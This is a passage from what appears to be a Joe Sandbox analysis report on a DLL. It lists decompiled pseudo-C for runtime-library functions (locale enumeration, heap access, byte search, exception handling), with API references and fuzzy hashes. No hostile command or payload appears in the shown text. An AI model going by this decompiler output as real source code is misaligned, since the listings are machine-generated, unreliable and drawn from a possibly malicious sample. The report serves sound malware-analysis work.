				 *((intOrPtr*)(_t27 + 0x5c)) = _t24;
				EnumSystemLocalesW(E6DA9C614, 1);
				_t15 = _a4;
				if(( *_t15 & 0x00000004) == 0) {
					 *_t15 = 0;
					return _t15;
				}
				return _t15;
			}

0x6da9c343
0x6da9c349
0x6da9c34a
0x6da9c34d
0x6da9c350
0x6da9c350
0x6da9c353
0x6da9c355
0x6da9c363
0x6da9c366
0x6da9c369
0x6da9c374
0x6da9c374
0x6da9c37d
0x6da9c380
0x6da9c386
0x6da9c38c
0x6da9c38e
0x00000000
0x6da9c38e
0x6da9c394

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

EnumSystemLocalesW.KERNEL32(6DA9C614,00000001,?,?,-00000050,?,6DA9C9B6,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 6DA9C380

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e456c7c3ae31223ac98eef1bdcdfd39b6a95bb2c89f53cb177e2f511999e8a69
Instruction ID: 746895d8047ebc5defd9cda70448bfc39b3495009cf142adabd77cbaab16f216
Opcode Fuzzy Hash: e456c7c3ae31223ac98eef1bdcdfd39b6a95bb2c89f53cb177e2f511999e8a69
Instruction Fuzzy Hash: 2CF0F67A21C7056FDB145F35C880A7BBBE5EF81368F0A852CFA458F680C7799882C750

Uniqueness

Uniqueness Score: -1.00%

Function 6DA96349 Relevance: 1.5, APIs: 1, Instructions: 33
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E6DA96349(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				signed int _t29;
				void* _t31;

				_push(0xc);
				_push(0x6dab14e0);
				E6DA89CA0(__ebx, __edi, __esi);
				 *(_t31 - 0x1c) =  *(_t31 - 0x1c) & 0x00000000;
				E6DA8FB12( *((intOrPtr*)( *((intOrPtr*)(_t31 + 8)))));
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				 *0x6dad5b38 = E6DA91CA7( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t31 + 0xc)))))));
				_t29 = EnumSystemLocalesW(E6DA9633C, 1);
				_t17 =  *0x6dab3014; // 0x6c4e8ceb
				 *0x6dad5b38 = _t17;
				 *(_t31 - 0x1c) = _t29;
				 *(_t31 - 4) = 0xfffffffe;
				E6DA963B9();
				 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0x10));
				return _t29;
			}

0x6da96349
0x6da9634b
0x6da96350
0x6da96355
0x6da9635e
0x6da96364
0x6da96375
0x6da96387
0x6da96389
0x6da9638e
0x6da96393
0x6da96396
0x6da9639d
0x6da963a7
0x6da963b3

APIs

Part of subcall function 6DA8FB12: RtlEnterCriticalSection.NTDLL(?), ref: 6DA8FB21

EnumSystemLocalesW.KERNEL32(6DA9633C,00000001,6DAB14E0,0000000C,6DA9670E,00000000), ref: 6DA96381

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 8441ed519a422d6470bf2309ce48257087366940abf78c252d66a52ece89729b
Instruction ID: a58b87a5eab4b5158191941b8d8e8ad5943d773a0514586462bfc7f1f4e2fbe1
Opcode Fuzzy Hash: 8441ed519a422d6470bf2309ce48257087366940abf78c252d66a52ece89729b
Instruction Fuzzy Hash: 59F037B2A18200DFEB00CFA8D540BAD77F0EB4A324F10811AE6109B290DB7649818B91

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C250 Relevance: 1.5, APIs: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DA9C250(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				signed char* _t13;
				intOrPtr* _t15;
				void* _t19;
				void* _t21;
				void* _t22;

				_t19 = E6DA92BDC(__ecx, __edx, _t21);
				_t15 =  *((intOrPtr*)(_t19 + 0x54));
				_t22 = _t15 + 2;
				do {
					_t9 =  *_t15;
					_t15 = _t15 + 2;
				} while (_t9 != 0);
				 *(_t19 + 0x64) = 0 | _t15 - _t22 >> 0x00000001 == 0x00000003;
				EnumSystemLocalesW(E6DA9C1A9, 1);
				_t13 = _a4;
				if(( *_t13 & 0x00000004) == 0) {
					 *_t13 = 0;
					return _t13;
				}
				return _t13;
			}

0x6da9c25c
0x6da9c260
0x6da9c263
0x6da9c266
0x6da9c266
0x6da9c269
0x6da9c26c
0x6da9c284
0x6da9c287
0x6da9c28d
0x6da9c293
0x6da9c295
0x00000000
0x6da9c295
0x6da9c29a

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

EnumSystemLocalesW.KERNEL32(6DA9C1A9,00000001,?,?,?,6DA9CA14,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 6DA9C287

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 60e8bb2cd47bcd544bbf14e000117d50f303843ccc68cbdf0b04b8d7936e5dd7
Instruction ID: 18719b3a1d435db0bec737f8ef6d5d8ce466ceaa9c4ce4c82ae9835cbeab485a
Opcode Fuzzy Hash: 60e8bb2cd47bcd544bbf14e000117d50f303843ccc68cbdf0b04b8d7936e5dd7
Instruction Fuzzy Hash: 0DF0E53A3182069BDB04AF75D954A6A7FE4EFC1B24F0F4059EA098F680C67599C3C754

Uniqueness

Uniqueness Score: -1.00%

Function 6DA96812 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,6DA94185,?,20001004,00000000,00000002,?,?,6DA93787), ref: 6DA96846

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9cf64e50fffb1dc24858935d0f50bb718feac82d587ffee6b793581cc4d86276
Instruction ID: 700642a75f917480584dc29d6ad7f0650d08c7ad9949064d08c3f8a2f6cffc0b
Opcode Fuzzy Hash: 9cf64e50fffb1dc24858935d0f50bb718feac82d587ffee6b793581cc4d86276
Instruction Fuzzy Hash: 73E04F35558229FBCF022FA0DC18F9E3FA9EF45750F09C024FD1469361CB728961AAD5

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9A32E Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DA9A32E() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x6dad5c48 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x6da9a32e
0x6da9a336
0x6da9a33e

APIs

GetProcessHeap.KERNEL32 ref: 6DA9A32E

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f2023d458d7db4d49e524ac91f84148b5ddc8eba2ca7d33e0705ede91e19132b
Instruction ID: 99495a3a2eb68628b4cd55c29ceeeb523bdeb37b29a0cf76d3ea108072deeb6c
Opcode Fuzzy Hash: f2023d458d7db4d49e524ac91f84148b5ddc8eba2ca7d33e0705ede91e19132b
Instruction Fuzzy Hash: 2DA0113030A3028BCBA08E38830830C3AB8AA0B280B288028A008C0080EF20A0828A00

Uniqueness

Uniqueness Score: -1.00%

Function 6DA97909 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c34f426b9a83df5c81076bf0e8f1d802ef1baa16c665cfed90a844d72875bc3a
Instruction ID: 36895f2eaaee776b5e8e31f4f394ae7578205e4533318056ed952f50620f5fc3
Opcode Fuzzy Hash: c34f426b9a83df5c81076bf0e8f1d802ef1baa16c665cfed90a844d72875bc3a
Instruction Fuzzy Hash: E532F522D7DF424DDB239534C83133AA798AFA73C4F19D727E819B9A99EB29C5C34140

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8B200 Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6DA8B200(signed int _a4, signed char _a8, intOrPtr _a12) {
				intOrPtr _t13;
				void* _t14;
				signed char _t20;
				signed char _t24;
				signed int _t27;
				signed char _t32;
				unsigned int _t33;
				signed char _t35;
				signed char _t37;
				signed int _t39;

				_t13 = _a12;
				if(_t13 == 0) {
					L11:
					return _t13;
				} else {
					_t39 = _a4;
					_t20 = _a8;
					if((_t39 & 0x00000003) == 0) {
						L5:
						_t14 = _t13 - 4;
						if(_t14 < 0) {
							L8:
							_t13 = _t14 + 4;
							if(_t13 == 0) {
								goto L11;
							} else {
								while(1) {
									_t24 =  *_t39;
									_t39 = _t39 + 1;
									if((_t24 ^ _t20) == 0) {
										goto L20;
									}
									_t13 = _t13 - 1;
									if(_t13 != 0) {
										continue;
									} else {
										goto L11;
									}
									goto L24;
								}
								goto L20;
							}
						} else {
							_t20 = ((_t20 << 8) + _t20 << 0x10) + (_t20 << 8) + _t20;
							do {
								_t27 =  *_t39 ^ _t20;
								_t39 = _t39 + 4;
								if(((_t27 ^ 0xffffffff ^ 0x7efefeff + _t27) & 0x81010100) == 0) {
									goto L12;
								} else {
									_t32 =  *(_t39 - 4) ^ _t20;
									if(_t32 == 0) {
										_t12 = _t39 - 4; // -12
										return _t12;
									} else {
										_t33 = _t32 ^ _t20;
										if(_t33 == 0) {
											_t11 = _t39 - 3; // -11
											return _t11;
										} else {
											_t35 = _t33 >> 0x00000010 ^ _t20;
											if(_t35 == 0) {
												_t10 = _t39 - 2; // -10
												return _t10;
											} else {
												if((_t35 ^ _t20) == 0) {
													goto L20;
												} else {
													goto L12;
												}
											}
										}
									}
								}
								goto L24;
								L12:
								_t14 = _t14 - 4;
							} while (_t14 >= 0);
							goto L8;
						}
					} else {
						while(1) {
							_t37 =  *_t39;
							_t39 = _t39 + 1;
							if((_t37 ^ _t20) == 0) {
								break;
							}
							_t13 = _t13 - 1;
							if(_t13 == 0) {
								goto L11;
							} else {
								if((_t39 & 0x00000003) != 0) {
									continue;
								} else {
									goto L5;
								}
							}
							goto L24;
						}
						L20:
						_t9 = _t39 - 1; // -9
						return _t9;
					}
				}
				L24:
			}

0x6da8b200
0x6da8b207
0x6da8b25c
0x6da8b25c
0x6da8b209
0x6da8b209
0x6da8b20f
0x6da8b219
0x6da8b231
0x6da8b231
0x6da8b234
0x6da8b248
0x6da8b248
0x6da8b24b
0x00000000
0x6da8b24d
0x6da8b24d
0x6da8b24d
0x6da8b24f
0x6da8b254
0x00000000
0x00000000
0x6da8b256
0x6da8b259
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8b259
0x00000000
0x6da8b24d
0x6da8b236
0x6da8b243
0x6da8b262
0x6da8b264
0x6da8b272
0x6da8b27b
0x00000000
0x6da8b27d
0x6da8b280
0x6da8b282
0x6da8b2a7
0x6da8b2ac
0x6da8b284
0x6da8b284
0x6da8b286
0x6da8b2a1
0x6da8b2a6
0x6da8b288
0x6da8b28b
0x6da8b28d
0x6da8b29b
0x6da8b2a0
0x6da8b28f
0x6da8b291
0x00000000
0x6da8b293
0x00000000
0x6da8b293
0x6da8b291
0x6da8b28d
0x6da8b286
0x6da8b282
0x00000000
0x6da8b25d
0x6da8b25d
0x6da8b25d
0x00000000
0x6da8b247
0x6da8b21b
0x6da8b21b
0x6da8b21b
0x6da8b21d
0x6da8b222
0x00000000
0x00000000
0x6da8b224
0x6da8b227
0x00000000
0x6da8b229
0x6da8b22f
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8b22f
0x00000000
0x6da8b227
0x6da8b296
0x6da8b296
0x6da8b29a
0x6da8b29a
0x6da8b219
0x00000000

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6af97e463d43c3e9e4c92b6e9292d60c92e50216347e79e044ddd874f0d70bab
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 8E11297B24814387D340C96DC8B47BFE795FAC6225B2C4365D8754BA56F123A0C19502

Uniqueness

Uniqueness Score: -1.00%

Function 6DA99229 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DA99229(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E6DA96660(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x6da99236
0x6da99238
0x6da9923b
0x6da9923e
0x6da99241
0x6da99252
0x6da99254
0x6da99243
0x6da99247
0x6da99250
0x00000000
0x00000000
0x6da99250
0x6da99259

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311848273280192d40b1ad7f5b0b063147d93dba66c321036d0fe31074e24a83
Instruction ID: 8193f4c6d02980ed11aa4bc0972faf0c17fac94b7b09d7a6a9149804112d610f
Opcode Fuzzy Hash: 311848273280192d40b1ad7f5b0b063147d93dba66c321036d0fe31074e24a83
Instruction Fuzzy Hash: 3EE08C32929228EBCB14CB98CA04E8AB3ECEB84B50F1504A6F605D7200C270DE40CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 6DA91610 Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DA91610(void* __ecx, void* __eflags) {

				if(E6DA99229(__ecx) == 1 || ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) != 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x6da91618
0x6da91631
0x6da9162c
0x6da9162e
0x6da9162e

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a50bd0236d097da5bf19158a0a6e12620a5b0abaf9b60c89cfa537db934b0c82
Instruction ID: 93778f8babb8e045a1aa603f74e81501b8f2865ad1f5038fd95ca28b557c45fc
Opcode Fuzzy Hash: a50bd0236d097da5bf19158a0a6e12620a5b0abaf9b60c89cfa537db934b0c82
Instruction Fuzzy Hash: 66C0803CC1C50046DE055614937037473DBA381782F483CCCC6024F641C51D58C1D601

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8C7DF Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E6DA8C7DF(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6DA8D748(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6DA90BF9(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_t203 = E6DA8C463(_t275, _t279, _t300, _t305, _t319, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6DA8C463(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6DA8A418(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6DA8A34B(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6DA8C75F(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6DA90BF9(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
